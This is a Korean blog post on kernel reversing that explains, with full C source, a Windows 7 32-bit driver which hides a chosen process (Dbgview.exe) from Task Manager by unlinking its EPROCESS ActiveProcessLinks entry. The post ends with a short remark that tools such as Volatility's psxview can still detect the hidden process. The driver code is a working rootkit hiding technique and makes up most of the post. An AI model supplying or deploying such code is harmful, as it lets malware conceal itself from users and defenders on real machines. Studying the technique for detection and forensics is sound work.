본문 바로가기

reversing/rootkit

EPROCESS 구조체 [ 프로세스 숨기기_2 ]

SMALL

EPROCESS 구조체에 관해서 전 포스팅에서 알아 보았다.

EPROCESS 구조체 [ 프로세스 숨기기_1 ] [http://richong.tistory.com/100]

Windows에서 Process가 어떻게 관리 되는지 알수 있으니, 쉽게 숨길수 있다.

간단하게 정말 간단하게 드라이버를 만들어 보았다.

개념을 이해하고 적용해보는데는 좋은것 같다. 

실제로 프로세스를 숨기기 위해서는 숨기고 싶은 PID 값을 전달 받아서 숨기는 방법을 사용할 것같다.


위의 그림과 같이 포인터만 변경 해주었다.

환경은 Windows 7 32bit 이다.

Dbgview.exe 프로세스를 Target Process로 하였다.

드라이버를 로드하기 전 작업관리자이다.

 그리고 드라이버를 로드하고 나서 작업 관리자의 모습이다.


Dbgview가 켜져있는데 프로세스에는 보이지 않는다.



#include "wdm.h" #define Name_Offset 0x16c #define ActiveProcessLinks 0xb8 #define Target_Process "Dbgview.exe" VOID OnUnload( _In_ PDRIVER_OBJECT DriverObject ) { DbgPrint("UnLoad!!!\n"); } NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT pDriverObject, _In_ PUNICODE_STRING pRegistryPath) { UNREFERENCED_PARAMETER(pDriverObject); UNREFERENCED_PARAMETER(pRegistryPath); //현재 Proc의 EPROCESS 의 포인터 값을 획득 PEPROCESS pEPROC = (PEPROCESS)PsGetCurrentProcess(); //연결 리스트들의 Head //Node //tmp_Node --> 변경하기위해서 PLIST_ENTRY pHead, pNode,pTmp_Node; unsigned char* PROC = NULL; //첫 링크를 획득 한다. //EPRCOESS + OFFSET을 해서 PLIST의 값들을 구함 pHead = pNode = (PLIST_ENTRY)((unsigned char*)pEPROC + ActiveProcessLinks); do { //다시 프로세스를 비교하기 위해서 EPROCESS 첫 포인터로 귀환 PROC = (unsigned char*)((unsigned char*)pNode - ActiveProcessLinks); //EPROCESS + NAME_OFFSET을 이용해서 PROCESS 이름 획득 DbgPrint("Process Name : %s\n", (unsigned char*)((unsigned char*)PROC + Name_Offset)); //Target Process 확인 if (strcmp(Target_Process, (unsigned char*)((unsigned char*)PROC + Name_Offset))==0) { DbgPrint("Find Hiding Process!!\n"); //A <-> B <->C //B = pNode 현재 //A PROC pTmp_Node = pNode->Blink; //A PROC A -> C 변경 pTmp_Node->Flink = pNode->Flink; //C <- A 변경 pNode->Flink->Blink = pTmp_Node; //B -> FLINK = B //B -> BLINK = B pNode->Flink = pNode; pNode->Blink = pNode; break; } pNode = pNode->Flink; } while (pNode->Flink != pHead); //한번 순회 하면 멈춤 pDriverObject->DriverUnload = OnUnload; return STATUS_SUCCESS; }

이를 검출 하는 방법은 EPROCESS 구조체를 검사하면 검출 할 수있다.

링크만 끊은것이기 때문에, 그 구조체는 그대로 존재한다.

Volatility의 psxview인가? 구조체 검사하는 명령어로도 검출 될것이다.

LIST

'reversing > rootkit' 카테고리의 다른 글

[WHY] 역공학 분야를 공부하는 이유  (0) 2016.08.27
DPC  (0) 2016.08.19
WinDBG 명령어 [SXE,sxe] -SYS 분석  (0) 2016.08.12
EPROCESS 구조체 [ 프로세스 숨기기_1 ]  (0) 2016.08.11
Kernel Debug 준비[windbg]  (0) 2016.08.10